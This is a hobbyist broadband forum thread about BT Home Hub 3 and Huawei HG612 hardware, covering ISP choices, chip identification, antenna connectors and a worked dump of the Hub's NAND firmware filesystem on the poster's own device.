-
Those of you who use "Beatie" as your broadband service supplier, either BT Total Broadband or BT Infinity, will have been given one of the Home Hubs to use (as a modem/router for the former service or as a router for the latter).
Certain forum regulars will be aware that b*cat is interested in the various pieces of equipment and the technology that allows an end user to be able to access the Internet. I recently made an eBay purchase which consisted of two Huawei HG612 modems (the current official active CPE for VDSL2 connections in this country) and a BT Home Hub 3.0 - Type B. One of the Huawei modems will shortly be forwarded to a fellow researcher, whilst the other will be used by me.
As for the BT HH3, I thought I would have a look inside. So with care and precision, it was disembowelled. Hmm, nothing particularly outstanding to see . . . :-\ Purely for your interest, I scanned both sides of the PCB and have attached the images to this post.
After scanning, it was reassembled and I can reassure those sensitive people that absolutely no equipment was harmed in the process! :P
[attachment deleted by admin]
-
Hi:
So what were the conclusions of your "autopsy" of the HH?
I'm interested as I'm being drawn to BT Infnity but have not migrated due to concerns over several problems. One of those issues is the terrible reputation of the BT HH and /or the Huawei.
-
So what were the conclusions of your "autopsy" of the HH?
It's just an average bit of kit -- nothing particularly special about it, nothing to get really excited over. Let's say my opinion is neutral.
I'm interested as I'm being drawn to BT Infnity but have not migrated due to concerns over several problems.
I have a few of comments.
The first is that if you wish to have a FTTC service with a VDSL2 link from the DSLAM to your home, you can subscribe to a service from numerous retailers. BT Infinity is just the sevice from BT Retail.
My second comment is that if you only intend to connect one device / computer, you can directly connect it to the Huawei HG612. Your sole computer will need to be configured to establish a PPPoE connection, etc, but it can be done.
My third comment is that if you still intend to use the BT Infinity route, you do not have to use the HH3. You can substitute any "cable" router/switch in place of it. If I had access to a BT Infinity service to "play with", I would definitely try using a 2Wire 2701HGV-C in place of the HH3. The 2Wire 2701HGV-C can be purchased quite cheaply (and brand new) on eBay as a Version 3.0 of the BT Business Hub, Type 2. It is important not to purchase an original BT Business Hub, Type 1 (which is a re-badged 2Wire 1800HG) nor Versions 1.0 or 2.0 of the BT Business Hub, Type 2 (which are re-badged 2Wire 2700HGVs).
As for the Huawei HG612, which is installed by OpenReach as the active CPE for all FTTC installations, the latest version 3B with the SP10 firmware is adequate for the 12a VDSL2 profile upgrade that is currently being rolled out across the country. Of course, to be able to monitor the line statistics, one will need to install the unlocked SP10 firmware that Asbokid has made available to us all. ;)
-
Hi burakkucat
Many thanks for the comprehensive feedback. I think I understand it all !
I'm aware that others offer FTTC on my exchange (eg ZEN) but their prices are not terribly attractive compared with BT.
For example ZEN is £28 per month (with a £96 connection fee plus cost of hardware) for a service they estimate at 30Gb for my line but which is restricted to a monthly cap of 10Gb. BT's current offer is also £28 per month (including line rental) for the same speed but the monthly cap is a lot higher at 40Gb. Furthermore there is only a £25 connection fee and you also get telephone calls at a reduced rate.
My thinking in using BT is that, just at the moment, this is a brand new service on my exchange, and that if there are teething problems BT are more likely to resolve them if they are responsible for the whole thing end to end especially as I already use BT for phone service. I know that technically BT retail and OR are 2 seperate entities but I do sometimes wonder. Possibly I'm being naive.
I'm aware that ZEN has a good service reputation but I'm not sure I want to introduce a third party into the equation until after the service has been proven in practice for a while.
-
Hi BB,
Yes, everything you've mentioned makes perfect sense. I will agree, on price alone "Beattie" will be an excellent choice. As you currently use "her" to provide your telephone service, then taking the Infinity broadband service is (almost) a "no brainer". :)
Consider my neighbour "Gordon". He professes to being a numpty where technology is concerned but bar a minor hiccup when the first attempt was made to install his Infinity broadband service, everything has subsequently been fault / issue free. He is, as a consequence, very happy with the service. It is from "Gordon"'s Infinity connection that I will occasionally quote details, for it is one of the best of which I am aware. (I guess it helps that the D-side copper pair is precisely 440 yards / 0.25 mile / 400 metres.)
Now consider Mr Eagle (a.k.a. Baldy_Bird or Bald_Eagle1). He has a third-party, PlusNet, involved in the supply of his telephony and FTTC broadband service. His tale of woe is now giving that slim volume (War And Peace) a good run for the Roubles. ;)
As a new FTTC installation, you should be provided with a Huawei HG612, type 3B, as the active CPE by OR and BT Retail will send you a HH3, via the postal service.
-
Hi BB,
I would just inject a word of caution with any BT broadband services. They are fine when they work but there are many stories of very significant difficulties if you have to engage with the BT fault reporting systems.
IF you are unlucky enough to get into that predicament then e.g. an expensive Zen solution becomes a much cheaper and far less stressful option.
Kind regards,
Walter
-
As for the Huawei HG612, which is installed by OpenReach as the active CPE for all FTTC installations, the latest version 3B with the SP10 firmware is adequate for the 12a VDSL2 profile upgrade that is currently being rolled out across the country. Of course, to be able to monitor the line statistics, one will need to install the unlocked SP10 firmware that Asbokid has made available to us all. ;)
Along with the current 17a profile upgrade, It is rumoured that BT are currently investigating / trialing the 30a profile to give up to 200Mb or 300Mb speeds, probably just for those who live very close to the street cabinet in which the DSLAM is located.
The Huawei HG612 modem does report 30a compatibility, but I believe there may be some doubt regarding its processing power for such high speeds/frequencies.
Paul.
-
Hi
quote probably just for those who live very close to the street cabinet in which the DSLAM is
located.
or better still in their back garden ;D
Regards Jeff
-
Hi
quote probably just for those who live very close to the street cabinet in which the DSLAM is
located.
or better still in their back garden ;D
Regards Jeff
Haha,
There's plenty of room in my back garden for a fibre cabinet.
I wouldn't even charge BT a peppercorn rent for siting one there.
I wouldn't turn down an offer of free FTTH broadband for life though ;D
Paul.
-
So, has anyone successfully used a BT Home Hub 3 to connect to a non-BT Infinity FTTC VDSL ISP?
We're very fortunate in that our village is being provided with FTTC broadband in a scheme sponsored by our local county council. The wholesale ISP is Fluidata and I've selected IDNet as my supplier.
It would significantly lower the cost of entry for members of our community if we were able to purchase 2nd hand Home Hub 3's, of which there seems to be a plentiful supply!
Has anyone successfully done this? Have BT locked out the ability to change the login names for VDSL connection?
Look forward to your replies, and thanks.
-
Hi Richard,
I believe you are required to use the Openreach supplied VDSL modem if you want to discuss any problems as they are the only ones that are supported.
Most are the Huawei Echolife HG612 although I've seen one report from Cornwall of a ECI Telecom one TYPE 1B.
B-FOCuS V-2FUb/I Rev.B
VERY Sadly if routing functions are required they are then provided by the home hub or other router, depending upon your service provider.
Yet more clutter and a thoroughly "un-green" power increase IMHO.
Kind regards,
Walter
-
Walter,
Thanks for your reply.
The only involvement that Openreach have in this scheme is to unbundle the pair from the existing copper cabinet, transfer them over to the non-BT owned fibre cabinet, do an on-premises faceplate change and test. From that point on they are not involved other than when called upon by Fluidata to fix a line fault. There is no stipulation in this scheme as to the hardware that has to be used, indeed there are whole variety being offered by the retail ISPs involved in the scheme (these range from Billion 8200n's through to Thomson TG672 and TG789) - these are being flogged for close to £100 hence my effort to see if the Home Hub 3 can be used in a non-BT FTTC scheme.
Specifically I would like to know if it is possible to change the PPoE username/password to be different from the BT pre-populated credentials and whether I would be able to switch off any other BT specific features.
Or perhaps I misunderstood your reply and what you are saying that the HH3 does not actually have a VDSL modem built in and the Infinity port is in fact a WAN port that supplies the PPoE session information?
Thanks!
-
Specifically I would like to know if it is possible to change the PPoE username/password to be different from the BT pre-populated credentials and whether I would be able to switch off any other BT specific features.
Or perhaps I misunderstood your reply and what you are saying that the HH3 does not actually have a VDSL modem built in and the Infinity port is in fact a WAN port that supplies the PPoE session information?
Ah. now that you have clarified your initial question, I can easily answer that by saying that the HH3 does not have an integrated VDSL2 modem but it is, as you have suspected, that the WAN port passes the PPPoE credentials, via an external modem, to the FTTC DSLAM.
I have read rumours that the HH3 has been locked by Beattie to operate only on her broadband services, be they ADSL, ADSL2+ or VDSL2 in origin. I could make a note on my ever-lengthening ToDo List and check that for you but I suspect you will now be crossing the HH3 off your list.
A somewhat OT thought but as asbokid (http://forum.kitz.co.uk/index.php?action=profile;u=5879) has made available unlocked firmware for the Huawei EchoLife HG612 (the OpenReach supplied modem) and they are now appearing quite regularly on eBay, you might like to consider their use . . . :-\
-
@ Richard & BKK,
I'm pleased that you two disgraceful night-owls have indeed discovered what I meant to say !
I am interested to know what effects the BT E side cabling has on a FTTC service so it would be helpful if you could publish your modem's statistics and whether you have an isolated D side line.
I.e. 1. Do you have a Full Metallic Path Facility as BT's glorious lexicographers describe it ?
2. Do you know what type of MSAN you are connected to ?
Kind regards,
Walter
-
Thanks again Walter and BKK,
BKK - you're right, other than the HH3 being cheap secondhand for an N mode router, I can no longer see the point. I wonder what the reasoning behind providing two separate pieces of equipment was at BT towers!
I think I'm more likely now to go for a Billion 8200N which is a combined modem and router - I've used their stuff and recommended it to many and have found them reliable and good performers.
This is an interesting project which has involved lots of lobbying of BT to lay a fibre cable into the village (unsuccessful), despite spending upwards of £160,000 on installing a new duct from the village to the exchange they stamped their petulant feet and told us they were pulling new copper rather than fibre! So, we looked at the options and realised that the local county council had spent a small fortune laying fibre to the school in the neighbouring hamlet (provided by Virgin Media), so some fibre bundles were available a lot closer than we thought. Fruitful discussions with the CC who were sitting on a pile of money from the government for rural broadband improvements led to a cunning plan being put into place. The local landowning farmer agreed to allow fibre to be laid from the school cab up into the village. Fluidata were approached to become the wholesale service provider and they in turn have selected 4 retail ISPs to offer the service. The service sits on top of the local CC's county network and terminates at Teledata.
It's FMP and I believe, seeing as the twisted pair is moved out of the BT curb side cab over into the non-BT DSLAM and then onto Virgin's fibre cable to the POP its non BT E and D side. No idea what the MSAN is - is there a way to discover that?
R
_
-
Hi Richard,
Either a camera or you might find the MSAN data encoded in the modem's log or performance data.
Kind regards,
Walter
-
I recently made an eBay purchase which consisted of .... a BT Home Hub 3.0 - Type B.
Interesting photos. Burakkucat.
The PCB layouts are very different in the HomeHub 3.0a and the 3.0b.
In fact, the PCB has been completely redesigned between 'revisions'.
With your HH3.0b photos next to those of the HH3.0a, taken by the blogger GadgetCat [1], the major differences are clear:
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fimg829.imageshack.us%2Fimg829%2F5838%2Fbusinesshub30btop.jpg&hash=c9caedfdae5a3b714fca81fb86248e805d7bb0b8)
HH3.0b
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fimg708.imageshack.us%2Fimg708%2F2079%2Fbusinesshub30atopcroppe.jpg&hash=609c660f0ac03ad65701a219054b3ca3f141e09a)
HH3.0a
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fimg684.imageshack.us%2Fimg684%2F7361%2Fbusinesshub30bbottom.jpg&hash=ef7548bc2010c07b1b34417a8ee6cf51ac085926)
HH3.0b
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fimg824.imageshack.us%2Fimg824%2F8462%2Fbusinesshub30abottomcro.jpg&hash=403b05f2d0aa2d34ac441845a9e3e9c3f27cfa23)
HH3.0a
The HH3.0 Type A uses a Lantiq XWAY ARX168, a dual core CPU, containing a MIPS32 and an (unidentified) "32-bit Multi-threading Protocol Processor Engine". [2]
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fimg846.imageshack.us%2Fimg846%2F2430%2Flantiqxwayarx168.png&hash=3789d6ec915cc91b083d40b4f36a819492576e28)
It would be insightful to identify the CPU and support ICs on the HH3.0b. Is it also driven by the Lantiq ARX168?
From Burakkucat's photos, we can see that the flash IC has been moved to the bottom face of the PCB. It has also been changed from a BGA package to a more typical TSOP48, presumably on the grounds of cost. Burakkucat has kindly clarified that the flash IC is an ST NAND256W3A2BN6, a 256Mbit NAND flash device. [3]
As such, as a 'hack of last resort', the NAND flash IC could be removed from the PCB to allow its contents to be read and written [4]
cheers, a
[1] http://gadgetcat.wordpress.com/2011/02/19/home-hub-3-disassembly/
[2] http://www.lantiq.com/uploads/tx_abzlantiqproducts/PB-e-0016-v1_lres.pdf
[3] http://www.datasheetcatalog.org/datasheets2/89/891899_1.pdf
[4] http://forum.kitz.co.uk/index.php/topic,10758.msg211696.html
-
A bit more info on the Home Hub 3.0b.. With the heatsink removed, we discover the following...
The CPU is a Broadcom BCM6361, a 400MHz dual MIPS32 core. The BCM6361 is apparently a stripped-down BCM6362 without DECT functionality. [1] [2]
The RAM is a Hynix H5PS5162FFR-S6C, a 512Mbit (32Mx16) DDR2-800 SDRAM [3]
The flash is an STMicro NAND256W3ABN6, a 256Mbit x8/x16 NAND flash in a TSOP48 package [4]
Two ICs are labelled "B50612E B0KMLG TE1118 P20 135995 3", which probably indicates Broadcom. Google is throwing a blank on those identifiers... However the BCM50610 is a Broadcom gigabit ethernet PHYceiver. [5]
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww5.picturepush.com%2Fphoto%2Fa%2F7846123%2Foimg%2F7846123.jpg&hash=003db8ec8161d72e2615ddd197bea4f7018e4fdb)
Home Hub 3.0b PCB top face (click to enlarge) (http://picturepush.com/public/7846123)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F7846316%2Foimg%2F7846316.jpg&hash=54391b55ee42f59807ba3be88dd8582d780c7fa7)
Home Hub 3.0b PCB bottom face (click to enlarge) (http://picturepush.com/public/7846316)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F7846127%2Foimg%2F7846127.jpg&hash=e6759d66cbd2384e89993986017d3444cf6e9e04)
Home Hub 3.0b CPU, RAM and GigE chipsets (click to enlarge) (http://picturepush.com/public/7846127)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww1.picturepush.com%2Fphoto%2Fa%2F7846129%2Foimg%2F7846129.jpg&hash=68dbf832b28c6adaa6326c49c2df882bf605400a)
Broadcom BCM6361EKFEBG dual MIPS32 core SoC (click to enlarge) (http://picturepush.com/public/7846129)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F7846131%2Foimg%2F7846131.jpg&hash=f2a16243da1e5883cfaf8b7fb8318b121a475faa)
Hynix H5PS5162FFR DDR2-800 SDRAM (click to enlarge) (http://picturepush.com/public/7846131)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww5.picturepush.com%2Fphoto%2Fa%2F7846133%2Foimg%2F7846133.jpg&hash=8f2312a609fde4202af53d5dc93c27ad7fe6f395)
ST NAND256W3A2BN6 256Mbit NAND flash (click to enlarge) (http://picturepush.com/public/7846133)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F8755482%2Foimg%2Fhomehub3.0b%2F6.jpg&hash=b64fada7fb043fcbd091bfdcd32289bedcdb5ae0)
dual gigabit ethernet PHYceivers? (click to enlarge) (http://picturepush.com/public/8755482)
cheers, a
[1] http://www.neufbox4.org/wiki/index.php?title=Neufbox_6#SoC_BCM6361
[2] http://www.broadcom.com/products/Broadband-Carrier-Access/xDSL-CPE-Solutions/BCM6362
[3] http://www.hynix.com/inc/pdfDownload.jsp?path=/datasheet/pdf/graphics/H5PS5162FFR(Rev.1.4).pdf
[4] http://pdf1.alldatasheet.com/datasheet-pdf/..STMICROELECTRONICS/NAND256W3A2BN6../datasheet.pdf (http://pdf1.alldatasheet.com/datasheet-pdf/view/94408/STMICROELECTRONICS/NAND256W3A2BN6/+7_4Q9UORlHDyRHOIpa/1XXyxeocP+uKxP6OXPaoV+/datasheet.pdf)
[5] http://tomoyo.sourceforge.jp/cgi-bin/lxr/source/drivers/net/phy/broadcom.c#L777
-
Im trying to find out what the two connectors are on the board. Ive been searching all over the internet for it but there seems to be no info on it at all.
-
Im trying to find out what the two connectors are on the board. Ive been searching all over the internet for it but there seems to be no info on it at all.
It's not obvious as to what you are referring as "the two connectors . . . on the board". :-\
If you are looking at my original picture (http://forum.kitz.co.uk/index.php?action=dlattach;topic=10161.0;attach=5384), or Asbokid's picture (http://img829.imageshack.us/img829/5838/businesshub30btop.jpg), then those two small sockets -- one to the west of the heat-sink and the other to the north-east of the heat-sink -- are connectors to the aerial circuitry.
-
I want to know what they are called so I can get some adapters. Then I can use external antennas.
-
I want to know what they are called so I can get some adapters. Then I can use external antennas.
Ah, thank you for the clarification. If anybody knows ("At the Drop of a Hat"), it is likely to be Asbokid. :)
-
I want to know what they are called so I can get some adapters. Then I can use external antennas.
Ah, thank you for the clarification. If anybody knows ("At the Drop of a Hat"), it is likely to be Asbokid. :)
U.FL connectors for mini-coax. Usually sold as pre-assembled pigtails.
http://image.made-in-china.com/2f0j00kvFTIzDcJQRC/U-Fl-PCB-Mount.jpg
cheers, a
-
Appreciated. I knew we could rely upon you to provide the information. ;)
-
Im not sure they are UFL connectors. The sockets that are on the board do not match the one in the diagram.
-
Im not sure they are UFL connectors. The sockets that are on the board do not match the one in the diagram.
They look the same to me. (other than being the male version of the same connector). The connector sex is intentionally reversed in domestic 802.11 kit to foil those with the same intention as you. The US.GOV imposed some semi-legal regulations requiring router manufacturers to do this. See the history of the RP (reverse polarity) TNC connector, another connector type found often in domestic wi-fi equipment.
Shown below are the antenna connectors on the board of the HH3.0a..
http://www3.picturepush.com/photo/a/8006701/640/8006701.jpg
http://www3.picturepush.com/photo/a/8006706/640/8006706.jpg
cheers, a
-
Ah thanks for the info. So such a connector doesnt exist?
-
Ah thanks for the info. So such a connector doesnt exist?
I bet some entrepreneurial Chinese factory boss is already making them. Did you read the wikipedia page? Maybe it's urban myth, but lots of people believe it:
"(RP-TNC) connectors are widely used by Wi-Fi equipment manufacturers to comply with specific local regulations [citation needed], e.g. those from the FCC, which are designed to prevent consumers from connecting antennas which exhibit gain and therefore breach compliance."
It's probably easier to desolder it! There was the same problem with the Linksys WAP11 back in its day. Linksys used an antenna connector (RP-TNC) that was obscure (back then) and cost a fortune (maybe £15 a decade ago!).
It's an interesting board you've got there (HG8240). Thanks for posting the photos. Have you got the chip-markings? What is the CPU?
cheers, a
-
So is the Type B HH3 a broadcom chipset for the adsl line, not just the cpu, im too thick to work it out from all the nerdy pieces of info!
-
Hi Ed,
Yes, the Broadcom 6361 (launched Autumn 2009) is a System-on-Chip (SOC).
The 6361 integrates the CPU cores (dual MIPS32), the DSP engine with ADSL2+ analog front end and line driver, gigabit ethernet switch, two 802.11n radio transceivers, CardBus/PCI bus, and a USB host and peripheral controller, all on a single wafer of silicon.
The 6361 is apparently the same as the 6362, but without a FXS/SLIC interface for DECT functionality (see link above).
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww1.picturepush.com%2Fphoto%2Fa%2F8755479%2Foimg%2Fhomehub3.0b%2F3.jpg&hash=4c6e531bf638a08191c1db7026a1566ca8e22d8e) (http://picturepush.com/public/8755479)
Broadcom BCM6361, the CPU powering the HomeHub 3.0b
The firmware for the HomeHub 3.0b, which is powered by the BCM6361, is now teased open, using brute force (hot air gun) ??? See below:
cheers, a
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F8755616%2Foimg%2F8755616.jpg&hash=76ed5ca1368cd1741d3a5f9652239f5eb826defd) (http://picturepush.com/public/8755616)
STICK 'EM UP! TSOP (NAND IC) nozzle for hot air gun
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F8755477%2Foimg%2Fhomehub3.0b%2F1c.jpg&hash=1a15f29120fde8cd0f193f6877a5c142f5823d45)
BT HomeHub3.0b PCB (rear) - NAND still intact (click to enlarge) (http://picturepush.com/public/8755477)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww1.picturepush.com%2Fphoto%2Fa%2F8755459%2Foimg%2Fhomehub3.0b%2Fhh3.0b-nandremoved1.png&hash=a65ccff26bc8cbb2fbf301f44bd3b6f6c3ee200a)
BT HomeHub3.0b - NAND lifted off (click to enlarge) (http://picturepush.com/public/8755459)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F8763302%2Foimg%2Fhomehub3.0b%2FDSC-0008.annot.jpg&hash=772dd2073ba48dccf3e4b12620db5a173b96bfc7)
USB reader for SM/XD cards, 0.5mm pitch ribbon cable, NAND prototyping board (click to enlarge)
(http://picturepush.com/public/8763302)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww2.picturepush.com%2Fphoto%2Fa%2F8755465%2Foimg%2Fhomehub3.0b%2Fhh3.0b-nandremoved3.png&hash=c5eabc62e5e54217bdafad16be1c673f8a54b33e)
modified USB reader for SM/XD cards (Genesys Logic GL827 chipset) (click to enlarge) (http://picturepush.com/public/8755465)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F8755466%2Foimg%2Fhomehub3.0b%2Fhh3.0b-nandremoved5.png&hash=f6d2aba6a3865f6c4db93e1dafb46ac1e745dd8c)
256Mbit STMicro x8 NAND from HH3.0b installed on a NAND prototyping board (click to enlarge)
(http://picturepush.com/public/8755466)(Spot where Our Wayne, bless him, trod on it!)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F8755467%2Foimg%2Fhomehub3.0b%2Fhh3.0b-nandremoved6.png&hash=4c03559163a8f146cddb39e211d45d36e21f8b87)
USB card reader now ready for extracting contents of HH3.0b NAND IC (click to enlarge) (http://picturepush.com/public/8755467)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F8755541%2Foimg%2Fhomehub3.0b%2Fscreenshot-hh3b-fsmounting.png&hash=aa23aea57487b2f973f8685cc6c7ef4c29027d90)
Mounting the HH3.0b (JFFS2) file system on the PC (click to enlarge) (http://picturepush.com/public/8755541)
$ ls -l
total 32768
-rw-r--r-- 1 asbokid asbokid 33554432 Jul 17 22:53 hh3.0b.V100R001C01B031SP09_l_B_t2011-06-01_22_39.eccstripped.bin
$ md5sum hh3.0b.V100R001C01B031SP09_l_B_t2011-06-01_22_39.eccstripped.bin
0e1364cf226f3078d1371e633968b985 hh3.0b.V100R001C01B031SP09_l_B_t2011-06-01_22_39.eccstripped.bin
$ xxd -s $((0x4000)) -l 256 hh3.0b.V100R001C01B031SP09_l_B_t2011-06-01_22_39.eccstripped.bin
0004000: 6e88 b7e4 99d1 3e51 f8de edcf 5398 001d n.....>Q....S...
0004010: 2687 ce64 98a3 793e 36fb 919a 11eb 5945 &..d..y>6.....YE
0004020: 9450 69f3 ef80 dc0e a3fa c50f 5900 b00b .Pi.........Y...
0004030: f1e8 7d0b 0676 aefb d11b deaf 1876 42ae ..}..v.......vB.
0004040: ab49 657c 6dba 5344 d571 af42 6551 596a .Ie|m.SD.q.BeQYj
0004050: 8ecc 277d 3d51 2f0c 8e88 c434 568d 0109 ..'}=Q/....4V...
0004060: a97a c1ee 3a95 f59b 3eff e0e6 17da b28c .z..:...>.......
0004070: 74dd 93f0 c3ce c288 87d5 06cc 76e4 2828 t...........v.((
0004080: 0001 5898 00b9 c014 0001 486f 6d65 4875 ..X.......HomeHu
0004090: 6233 5631 3030 5230 3031 4330 3142 3033 b3V100R001C01B03
00040a0: 3153 5030 395f 4c5f 425f 7432 3031 312d 1SP09_L_B_t2011-
00040b0: 3036 2d30 315f 3232 3a33 3900 0000 0000 06-01_22:39.....
00040c0: 3132 3137 3333 3332 0000 2d35 3937 3135 12173332..-59715
00040d0: 3931 3139 3100 0000 3000 0000 0000 0000 91191...0.......
00040e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00040f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
$ dd if=hh3.0b.V100R001C01B031SP09_l_B_t2011-06-01_22_39.eccstripped.bin of=jffs2_be skip=$((0x8000)) count=12173332 bs=1
12173332+0 records in
12173332+0 records out
12173332 bytes (12 MB) copied, 25.1295 s, 484 kB/s
$ sudo jffs2dump --bigendian jffs2_be --endianconvert=jffs2_le
Wrong bitmask at 0x00b9c000, 0x3113
Wrong bitmask at 0x00b9c004, 0x0000
Wrong bitmask at 0x00b9c008, 0x0000
Wrong bitmask at 0x00b9c00c, 0x0000
Wrong bitmask at 0x00b9c010, 0x0000
$ file jffs2_le
jffs2_le: Linux jffs2 filesystem data little endian
$ sudo modprobe mtdblock
$ sudo modprobe mtdram total_size=300000
$ sudo dd if=./jffs2_le of=/dev/mtdblock0
23776+1 records in
23776+1 records out
12173332 bytes (12 MB) copied, 0.0913846 s, 133 MB/s
$ sudo mount -t jffs2 /dev/mtdblock0 /mnt/
$ cd /mnt
$ ls -l
total 1359
dr-xr-xr-x 2 root 1101 0 Jun 1 2011 bin
drwxrwxrwx 3 root root 0 Jun 1 2011 BTAgent
-rw-r--r-- 1 root root 187416 Jun 1 2011 cferam.000
drwxrwx--- 2 root 1102 0 Jun 1 2011 config
drwxr-xr-x 3 root root 0 Jun 1 2011 dev
dr-xr-xr-- 8 root 1102 0 May 31 2011 etc
drwxrwxrwx 5 root root 0 Jun 1 2011 lib
lrwxrwxrwx 1 root 1101 11 Jun 1 2011 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 0 Jun 1 2011 mnt
drwxr-xr-x 2 root root 0 Jun 1 2011 proc
dr-xr-xr-x 2 root 1101 0 Jun 1 2011 sbin
drwxr-xr-x 2 root root 0 Jun 1 2011 tmp
dr-xr-xr-x 3 root 1101 0 Jun 1 2011 usr
drwxrwx--- 2 root 1102 0 Jun 1 2011 var
-rw-r--r-- 1 root root 1202746 Jun 1 2011 vmlinux.lz
$ tree -s /mnt/
/mnt/
├── [ 0] bin
│ ├── [ 24884] acs_cli
│ ├── [ 90824] acsd
│ ├── [ 11328] arpsender
│ ├── [ 7] ash -> busybox
│ ├── [ 81384] bcmupnp
│ ├── [ 28096] brctl
│ ├── [ 249280] busybox
│ ├── [ 7] cat -> busybox
│ ├── [ 7] chgrp -> busybox
│ ├── [ 7] chmod -> busybox
│ ├── [ 7] chown -> busybox
│ ├── [ 89739] cli
│ ├── [ 707988] cms
│ ├── [ 3] console -> cli
│ ├── [ 7] cp -> busybox
│ ├── [ 68376] cwmp
│ ├── [ 7] date -> busybox
│ ├── [ 36424] ddnsc
│ ├── [ 27752] dhcpc
│ ├── [ 59748] dhcpr
│ ├── [ 65988] dhcps
│ ├── [ 39084] dns
│ ├── [ 10984] dsldiagd
│ ├── [ 48296] eapd
│ ├── [ 64324] ebtables
│ ├── [ 7] echo -> busybox
│ ├── [ 37716] equipcmd
│ ├── [ 18192] ethcmd
│ ├── [ 51864] ethswctl
│ ├── [ 7] false -> busybox
│ ├── [ 10608] fapctl
│ ├── [ 8920] fcctl
│ ├── [ 7] gunzip -> busybox
│ ├── [ 7] gzip -> busybox
│ ├── [ 39568] igmpproxy
│ ├── [ 199728] ip
│ ├── [ 20816] ipcheck
│ ├── [ 25156] ipp
│ ├── [ 198888] iptables
│ ├── [ 7] kill -> busybox
│ ├── [ 3832] klog
│ ├── [ 56424] lld2d
│ ├── [ 7] ln -> busybox
│ ├── [ 20968] log
│ ├── [ 7] ls -> busybox
│ ├── [ 54096] mic
│ ├── [ 17824] MidServer
│ ├── [ 7392] mirror
│ ├── [ 7] mkdir -> busybox
│ ├── [ 7] mknod -> busybox
│ ├── [ 7] mount -> busybox
│ ├── [ 7] mv -> busybox
│ ├── [ 56860] nas
│ ├── [ 10] nas4not -> ../bin/nas
│ ├── [ 7] netstat -> busybox
│ ├── [ 916196] nmbd
│ ├── [ 46960] ntfs-3g
│ ├── [ 3768] nvram
│ ├── [ 7] ping -> busybox
│ ├── [ 214140] pppc
│ ├── [ 7] ps -> busybox
│ ├── [ 10788] pwrcmd
│ ├── [ 570592] racoon
│ ├── [ 80240] ripd
│ ├── [ 7] rm -> busybox
│ ├── [ 5228] rsaEnfile
│ ├── [ 30904] scp
│ ├── [ 90560] setkey
│ ├── [ 7] sh -> busybox
│ ├── [ 188444] siproxd
│ ├── [ 7] sleep -> busybox
│ ├── [ 2174532] smbd
│ ├── [ 67056] smbpasswd
│ ├── [ 20900] sntp
│ ├── [ 5800] spuctl
│ ├── [ 133556] sshd
│ ├── [ 961] startbsp
│ ├── [ 2370] swapdev
│ ├── [ 7] tar -> busybox
│ ├── [ 234544] tc
│ ├── [ 5944] telnetd
│ ├── [ 4264] tops
│ ├── [ 7948] tr111
│ ├── [ 7] umount -> busybox
│ ├── [ 37440] upg
│ ├── [ 108816] upnp
│ ├── [ 50548] urlfilterd
│ ├── [ 16704] usbmount
│ ├── [ 111868] web
│ ├── [ 5] wl -> wlctl
│ ├── [ 58795] wlancmd
│ ├── [ 2172] wlctl
│ ├── [ 196844] wps_monitor
│ ├── [ 59760] xdslcmd
│ ├── [ 29932] xtmcmd
│ ├── [ 7] zcat -> busybox
│ └── [ 71860] zebra
├── [ 0] BTAgent
│ └── [ 0] ro
│ ├── [ 10079] btagent
│ ├── [ 732] btagent.conf
│ ├── [ 187] btagentstart.sh
│ ├── [ 1659] copy_hh3
│ ├── [ 4936] libparseplugins.so
│ ├── [ 5588] libplugin.so
│ ├── [ 5248] libplugins.so
│ ├── [ 6812] libsourceplugins.so
│ ├── [ 7620] libtcp.so
│ ├── [ 5192] libtransportplugins.so
│ ├── [ 0] plugin_parse
│ │ └── [ 14072] libxml.so
│ ├── [ 0] plugin_source
│ │ ├── [ 8964] libbtagent.so
│ │ ├── [ 11724] libfwm.so
│ │ ├── [ 4044] libhuawei.so
│ │ ├── [ 11444] liblogger.so
│ │ └── [ 7260] libprobe.so
│ ├── [ 0] plugin_transport
│ │ └── [ 51424] libsec.so
│ ├── [ 286] publickeys.dat
│ └── [ 17] RWPath
├── [ 187416] cferam.000
├── [ 0] config
├── [ 0] dev
│ ├── [ 0] console
│ ├── [ 9] fuse -> /var/fuse
│ ├── [ 0] misc
│ │ └── [ 9] fuse -> /var/fuse
│ └── [ 0] null
├── [ 0] etc
│ ├── [ 0] adsl
│ │ └── [ 525344] adsl_phy.bin
│ ├── [ 227136] defaultcfg.xml
│ ├── [ 23] dhcps2.leases -> /var/dhcp/dhcps/leasesF
│ ├── [ 22] dhcps.conf -> /var/dhcp/dhcps/config
│ ├── [ 22] dhcps.leases -> /var/dhcp/dhcps/leases
